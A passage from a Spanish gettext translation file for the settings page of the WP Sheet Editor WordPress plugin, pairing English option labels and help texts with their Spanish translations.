abrimos en pantalla completa y tienes " "la opción de salir del modo de pantalla completa. Habilita esta opción y no " "abriremos la hoja en pantalla completa." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "¿Cargar más filas al hacer scroll?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Cuando esta opción está habilitada, se cargarán más filas en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página. También " "puedes habilitar/deshabilitar en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "¿Congelar las columnas iniciales del lado izquierdo?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Ingresa un número y esas columnas se fijarán al hacer scroll " "horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y " "descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas." #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "¿Habilitar el guardado automático?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Habilita esto y la hoja de cálculo guardará los cambios hechos en las celdas " "cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se " "guardan prematuramente antes que termines de editar todas las columnas " "requeridas." #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "Orden por defecto" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "" "We'll sort the rows in the spreadsheet by this field. We recommend you sort " "based on fields that have values in all the rows in order to get more " "accurate results. For example, it's better to sort 1k products by Title ASC " "because you know that all the rows will be sorted accurately, but if you " "sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the " "500 rows without SKU could potentially have random order as we don't have " "any value to sort them accurately." msgstr "" "Ordenaremos las filas de la hoja de cálculo según este campo. Te " "recomendamos ordenar por campos que tengan valores en todas las filas para " "obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos " "por Título ASC porque sabes que todas las filas se ordenarán con precisión, " "pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán " "correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya " "que no tenemos ningún valor para ordenarlas con precisión." #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "Solución de errores raros" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "Límite de columnas" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Limitamos las columnas de la hoja de cálculo por razones de rendimiento para " "evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este " "límite si quieres visualizar más columnas. Predeterminado: 310" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "Separador de celdas de términos de taxonomía" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Las columnas de taxonomía como las categorías de las entradas, las etiquetas " "de las entradas, etc. muestran los términos separados por comas, si usas " "comas en los nombres de las taxonomías, usa esta opción para cambiar el " "separador" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "Pero tu servidor no puede manejar todos los lotes uno tras otro, así que " "necesitamos esperar unos segundos después de cada lote para darle a tu " "servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes " "ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías " "aumentar el número para dar a tu servidor un descanso más largo después de " "cada lote." #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "¿Desactivar las acciones posteriores al guardar cambios?" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Algunos plugins ejecutan una tarea después de crear o actualizar una " "entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus " "perfiles sociales, otros plugins notifican a los usuarios después de que una " "entrada es actualizada, etc. Puede que haya un problema con esos plugins. " "Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de " "twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes " "terminar con 100 tweets compartidos en tu cuenta de twitter. Así que " "habilita esta opción si quieres actualizar / crear posts silenciosamente sin " "ejecutar esas funciones." #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "¿Suspender la invalidación de la caché de objetos?" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deshabilita esta opción si estás usando un plugin de caché de objetos/bases " "de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. " "Cuando editas muchas entradas, WordPress intenta \"limpiar\" la caché " "incluso si no estás usando un plugin de caché, haciendo cientos de consultas " "innecesarias a la base de datos." #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Cuando se carga la hoja de cálculo y guarda el contenido de las filas, la " "ejecutamos a través de wpautop para evitar problemas de saltos de línea. " "Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el " "contenido." #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "Desactivar el prefetch de los datos" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de " "la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede " "causar problemas si tienes miles de columnas o configuraciones raras en tus " "bases de datos." #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Claves meta que deben utilizar el administrador de campos serializados " "infinitos" #: wp-sheet-editor/dev/inc/options-init.php:186 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide " "que uses esta opción. Tenemos dos maneras de manejar los campos " "serializados: el antiguo controlador (usado por defecto, que tiene " "limitaciones) y el controlador de serialización infinita (mejor, no está " "activo por defecto para no romper integraciones anteriores). Utiliza esta " "opción si tienes campos serializados que se guardan incorrectamente o no " "aparecen en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Blacklist these columns" msgstr "Poner estas columnas en la lista negra" #: wp-sheet-editor/dev/inc/options-init.php:192 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Ingresa la lista de claves de campo separadas por comas, puedes ingresar la " "clave completa del campo meta o las palabras clave o prefijos parciales. " "Esto es útil porque algunos plugins añaden miles de campos innecesarios a la " "base de datos y desordenan la hoja de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:197 msgid "Enable the utf8 encoding fix" msgstr "Habilitar la corrección de la codificación utf8" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Esto puede ayudar si la hoja de cálculo no carga filas o si las filas " "aparecen vacías." #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "Maximum number of seconds to download external images?" msgstr "Número máximo de segundos para descargar imágenes externas?" #: wp-sheet-editor/dev/inc/options-init.php:206 msgid "" "Default: 4. When you enter an external image URL in any image cells (or " "during the import), we download the image file into the WordPress media " "library and save it in the field. By default, we limit the download time to " "4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" "Por defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o " "durante la importación, descargamos la imagen y la guardamos en la librería " "multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, " "cualquier descarga que supere eso será cancelada para evitar problemas de " "rendimiento." #: wp-sheet-editor/dev/inc/options-init.php:212 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "Cantidad máxima de campos disponibles para búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:213 msgid "" "We limit the list of fields to 1000 meta fields to avoid memory leaks/" "performance issues. If you want to search by a field that does not appear in " "the dropdown, increase this number." msgstr "" "Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de " "memoria/problemas de rendimiento. Si quieres buscar por un campo que no " "aparece en el desplegable, aumenta este número." #: wp-sheet-editor/dev/inc/options-init.php:219 msgid "Allow line breaks in values during the export and import process" msgstr "Permitir saltos de línea en valores al exportar e importar?" #: wp-sheet-editor/dev/inc/options-init.php:220 msgid "" "We will not execute our removal of duplicate rows when the line breaks are " "allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" "No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan " "los saltos de línea, por lo que es posible que veas filas duplicadas en los " "archivos de exportación en casos excepcionales." #: wp-sheet-editor/dev/inc/options-init.php:226 msgid "Allow safe html in post titles?" msgstr "Permitir HTML seguro en títulos de posts?" #: wp-sheet-editor/dev/inc/options-init.php:227 msgid "" "We will remove all the html tags by default. Activate this option to allow " "safe html tags, like b, span, i, etc" msgstr "" "Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para " "permitir etiquetas html seguras, como b, span, i, etc." #: wp-sheet-editor/dev/inc/options-init.php:233 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "¿Acoplar cada término de taxonomía de la jerarquía a los posts?" #: wp-sheet-editor/dev/inc/options-init.php:234 msgid "" "By default, we only attach the last term in the hierarchy to the posts " "because WordPress automatically handles them correctly. But if you want to " "assign each term to the post, including the parent categories, activate this " "option" msgstr "" "Por defecto, sólo asignamos el último término de la jerarquía a las entradas " "porque WordPress las gestiona correctamente de forma automática. Pero si " "quieres asignar cada término a la entrada, incluyendo las categorías padre, " "habilita esta opción." #: wp-sheet-editor/dev/inc/options-init.php:240 msgid "Always run the save_post action after any post row is edited?" msgstr "" "¿Ejecutar siempre la acción save_post después de editar cualquier fila de la " "entrada?" #: wp-sheet-editor/dev/inc/options-init.php:241 msgid "" "By default, we run the save_post action only when a post data field is " "updated (fields other than meta and taxonomies) for performance reasons. " "Enable this if other plugins aren't detecting our changes or webhooks aren't " "running." msgstr "" "Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un " "campo de datos de la entrada (campos que no sean meta y taxonomías) por " "razones de rendimiento. Habilita esto si otros plugins no están detectando " "nuestros cambios o los webhooks no se están ejecutando." #: wp-sheet-editor/dev/inc/options-init.php:250 msgid "Customize features" msgstr "¿Personalizar las características" #: wp-sheet-editor/dev/inc/options-init.php:255 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "¿Habilitar la opción de restringir las vistas de hojas de cálculo por " "usuario?" #: wp-sheet-editor/dev/inc/options-init.php:256 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde " "podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden " "utilizar todas las vistas de la hoja de cálculo si esto está desactivado." #: wp-sheet-editor/dev/inc/options-init.php:262 msgid "Enable simple mode?" msgstr "¿Habilitar el modo simple?" #: wp-sheet-editor/dev/inc/options-init.php:263 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo " "y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la " "herramienta de búsqueda, la herramienta de edición masiva, la herramienta de " "importación, la herramienta de exportación y otros lugares." #: wp-sheet-editor/dev/inc/options-init.php:269 msgid "Disable the automatic formatting detection?" msgstr "¿Deshabilitar la detección automática del formato?" #: wp-sheet-editor/dev/inc/options-init.php:270 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Si habilitas esta opción, algunas columnas aparecerán como texto. " "Normalmente detectamos los campos de fecha, campos de imagen." #: wp-sheet-editor/dev/inc/options-init.php:276 msgid "Disable cells lazy loading?" msgstr "¿Deshabilitar la carga lenta de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:277 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "La hoja de cálculo carga sólo las \"filas visibles\" por razones de " "rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las " "filas se cargan dinámicamente. De esta manera puedes \"abrir\" miles de " "posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres " "usar la búsqueda del navegador para encontrar una celda específica, " "necesitas deshabilitar la carga perezosa para cargar todas las filas a la " "vez y el navegador será capaz de encontrar las celdas. La búsqueda en el " "navegador no funciona por defecto porque sólo se crean las \"filas " "visibles\"." #: wp-sheet-editor/dev/inc/options-init.php:283 msgid "Disable usage stats widget?" msgstr "¿Deshabilitar el widget de estadísticas de uso?" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Si habilitas esta opción, el widget de estadísticas de uso que se muestra en " "el panel de control de wp-admin será eliminado." #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "Disable serialized columns support?" msgstr "¿Deshabilitar el soporte de columnas serializadas?" #: wp-sheet-editor/dev/inc/options-init.php:291 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "La hoja de cálculo genera automáticamente columnas para los campos " "serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del " "número de campos serializados. Puedes deshabilitar esta característica si la " "hoja es demasiado lenta para cargar o si obtienes errores al cargar las " "filas o no quieres ver las columnas con el prefijo \"SEIS\"." #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "¿Deshabilitar la api heartbeat en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:298 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress utiliza la API de heartbeat para comprobar el estado de inicio de " "sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que " "podría hacer cientos de peticiones cuando se está editando en la hoja de " "cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor " "mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de " "cálculo abierta durante varios días, tu sesión de inicio de sesión puede " "caducar y no se te notificará si dehabilitas el heartbeat, lo que puede " "causar problemas al guardarla. Así que usa esta opción sólo cuando uses la " "hoja de cálculo durante unas pocas horas." #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "User roles that can use the spreadsheet editor" msgstr "Roles de usuario que pueden utilizar el editor de hojas de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "El plugin no se inicializará para los roles de usuario no seleccionados aquí." #: wp-sheet-editor/dev/inc/options-init.php:312 msgid "Enable the fancy taxonomy terms selector" msgstr "Habilitar el selector de términos de taxonomía bonito" #: wp-sheet-editor/dev/inc/options-init.php:313 msgid "" "Backwards compatibility. This setting will be removed in future updates." msgstr "" "Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras " "actualizaciones." #: wp-sheet-editor/dev/inc/options-init.php:319 msgid "What cell format to use for the taxonomy columns?" msgstr "¿Qué formato de celda se debe utilizar para las columnas de taxonomía?" #: wp-sheet-editor/dev/inc/options-init.php:321 msgid "New multi select dropdown (Default)" msgstr "Nuevo menú desplegable de selección múltiple (predeterminado)" #: wp-sheet-editor/dev/inc/options-init.php:322 msgid "Old single select autocomplete" msgstr "Autocompletado de selección simple antiguo" #: wp-sheet-editor/dev/inc/options-init.php:328 msgid "Show all the custom post statuses?" msgstr "¿Mostrar todos los estados de posts personalizados?" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, " "programado, papelera. Sin embargo, algunos plugins registran estados " "personalizados: gestores de trabajos, comercio de madera. Habilita esta " "opción para mostrar todos los estados personalizados en la columna " "\"status\". CUIDADO. Mostraremos todos los estados de todos los post types " "en el desplegable porque es imposible saber el post type de cada estado al " "no poder separarlos. Haz esto sólo si eres un desarrollador." #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "Remove help messages from the cells?" msgstr "¿Ocultar los mensajes de ayuda de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:336 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Por defecto, mostramos comentarios en algunas columnas indicando el formato " "del valor o por qué están bloqueados. Por ejemplo, la columna de categorías " "muestra un consejo que indica que hay que separar los términos con una coma " "y cómo añadir categorías menores, las columnas de variaciones tienen un " "consejo que indica por qué están bloqueadas para los productos de los " "padres. Puedes activar esta opción para desactivar esos consejos." #: wp-sheet-editor/dev/inc/options-init.php:342 msgid "Manage taxonomy column values as term ids?" msgstr "" "¿Administrar los valores de las columnas de taxonomía como IDs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:343 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los ID de los términos separados " "por comas." #: wp-sheet-editor/dev/inc/options-init.php:349 msgid "Manage taxonomy column values as term slugs?" msgstr "" "¿Gestionar los valores de las columnas de taxonomía como slugs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term slugs separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los términos separados por comas." #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Do you want to deactivate columns for new fields found?" msgstr "¿Quieres deshabilitar las columnas para los nuevos campos encontrados?" #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Por defecto mostramos automáticamente columnas para todos los nuevos campos " "encontrados, así que cada vez que detectamos nuevos campos puedes verlos y " "editarlos inmediatamente. Pero esto puede \"romper\" tu orden de columnas o " "molestarte si has habilitado columnas específicas. Habilita esta opción para " "generar esas columnas pero dejarlas desactivadas para que puedas " "habilitarlas más tarde." #: wp-sheet-editor/dev/inc/options-init.php:364 msgid "Math formula roundup decimals" msgstr "" "Decimales para redondear valores al realizar ediciones masivas en columnas " "numéricas?" #: wp-sheet-editor/dev/inc/options-init.php:365 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Redondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número " "aquí, por ejemplo, 1 para redondear a 1 decimal" #: wp-sheet-editor/dev/inc/options-init.php:371 msgid "Display raw value on select cells?" msgstr "¿Mostrar el valor bruto en las celdas seleccionadas?" #: wp-sheet-editor/dev/inc/options-init.php:372 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. " "Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas." #: wp-sheet-editor/dev/inc/options-init.php:378 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de " "cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:379 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de " "usuarios, por defecto solo removemos el usuario del sitio actual. Habilita " "esta opción para eliminar al usuario de toda la red." #: wp-sheet-editor/dev/inc/options-init.php:385 msgid "Disable the addition of file ID to the image URLs?" msgstr "¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:386 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Por defecto, al exportar una columna con imágenes, agregamos el ID del " "archivo a la URL para que al importar, sepamos el origen de la imagen y la " "guardemos más rápido. Activa esta opción para no agregar el ID a la URL, " "todo funciona bien al habilitar esta opción, solo que el guardado puede ser " "un poquito más lento." #: wp-sheet-editor/dev/inc/options-init.php:392 msgid "Disable the display of file names in the image columns?" msgstr "¿No mostrar el nombre del archivo en la celda de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:393 msgid "" "By default, we show the file name as a preview next to the thumbnail, you " "can activate this to show the thumbnail and upload buttons only" msgstr "" "Por defecto, mostramos el nombre del archivo como texto de vista previa " "junto a la miniatura, habilita esto para mostrar solo la miniatura y botones " "únicamente." #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" "¿Añadir clases html a las celdas \" estado de la entrada \" en función de " "sus valores?" #: wp-sheet-editor/dev/inc/options-init.php:400 msgid "" "You can activate this option if you want to add html classes, and use those " "html classes to change the cell colors for each status using custom CSS" msgstr "" "Puedes habilitar esta opción si quieres añadir clases html, y usar esas " "clases html para cambiar los colores de las celdas para cada estado usando " "CSS personalizado" #: wp-sheet-editor/dev/inc/options-init.php:407 msgid "" "Maximum number of characters displayed in the preview of the values of " "tinymce columns?" msgstr "" "¿Número máximo de caracteres mostrados en la vista previa de los valores de " "las columnas tinymce?" #: wp-sheet-editor/dev/inc/options-init.php:408 msgid "" "By default, we only display 30 characters. You can increase the number here " "to view larger previews." msgstr "" "Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí " "para ver previsualizaciones más grandes." #: wp-sheet-editor/dev/inc/options-init.php:414 msgid "Manage the post parent column using IDs?" msgstr "¿Administrar la columna \"Padre\" usando los IDs?" #: wp-sheet-editor/dev/inc/options-init.php:415 msgid "" "By default, the \"parent\" column displays titles and saves using titles. If " "you activate this option, the column will display IDs and save IDs. This is " "useful if you have duplicate titles and you need to save the exact parent by " "ID." msgstr "" "Por defecto, la columna \"padre\" muestra títulos y guarda utilizando " "títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. " "Esto es útil si tienes títulos duplicados y necesitas guardar el padre " "exacto por ID." #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "Enable the dark mode?" msgstr "¿Habilitar modo oscuro?" #: wp-sheet-editor/dev/inc/options-init.php:424 msgid "Auto (Default)" msgstr "Automático (por defecto)" #: wp-sheet-editor/dev/inc/options-init.php:425 msgid "Light mode" msgstr "Modo claro" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Dark mode" msgstr "Modo oscuro" #: wp-sheet-editor/dev/inc/options-init.php:433 msgid "General settings" msgstr "Ajustes generales" #: wp-sheet-editor/dev/inc/options-init.php:438 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "En esta página puedes configurar rápidamente el editor de hojas de cálculo. " "Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras " "pestañas son completamente opcionales y te permiten ajustar el rendimiento " "del editor entre otras cosas." #: wp-sheet-editor/dev/inc/options-init.php:445 msgid "Misc" msgstr "Miscelánea" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Image preview width inside the cell" msgstr "Ancho de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Image preview height inside the cell" msgstr "Altura de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:465 msgid "Initial rows offset" msgstr "Desfase inicial de las filas" #: wp-sheet-editor/dev/inc/options-init.php:466 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y " "empezar a editar desde las fila 200. Esta opción te permite saltar muchas " "filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más " "cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas " "1205 como desplazamiento, la hoja comenzará desde la página 120 (índice " "1200) porque es la página más cercana al desplazamiento definido." #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "Delete the attached images when deleting a post?" msgstr "¿Borrar las imágenes adjuntas al borrar una entrada?" #: wp-sheet-editor/dev/inc/options-init.php:473 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se " "borra la imagen destacada y las imágenes de la galería de productos de la " "biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, " "se romperán las imágenes en otros posts" #: wp-sheet-editor/dev/inc/options-init.php:481 msgid "Spreadsheets enabled for these post types" msgstr "Hojas de cálculo habilitadas para estos post types" #: wp-sheet-editor/dev/inc/options-init.php:486 msgid "Disable the help toolbar?" msgstr "¿Deshabilitar la barra de ayuda?" #: wp-sheet-editor/dev/inc/options-init.php:487 msgid "This will hide the \"help\" option in the top toolbar" msgstr "Esto ocultará la opción \"ayuda\" de la barra de herramientas superior" #: wp-sheet-editor/dev/inc/options-init.php:494 msgid "Maximum visible characters in locked cells" msgstr "Máximo de caracteres visibles en las celdas bloqueadas" #: wp-sheet-editor/dev/inc/options-init.php:495 msgid "" "Locked cells only show a preview of the value. The default character length " "is %d" msgstr "" "Las celdas bloqueadas sólo muestran una vista previa del valor. La longitud " "de caracteres por defecto es %d" #: wp-sheet-editor/dev/inc/options-init.php:501 msgid "Don't show read-only columns in the advanced search?" msgstr "¿No mostrar columnas de sólo lectura en la búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:510 msgid "Disable extension offerings?" msgstr "¿Deshabilitar la promoción de extensiones?" #: wp-sheet-editor/dev/inc/options-init.php:516 msgid "Don't display the disabled columns in the modules?" msgstr "¿No mostrar las columnas deshabilitadas en los módulos?" #: wp-sheet-editor/dev/inc/options-init.php:517 msgid "" "By default, we show all the columns in the app modules (advanced search, " "bulk edit, export, import, etc), even if they're disabled in the columns " "manager. Activate this option to only display enabled columns." msgstr "" "Por 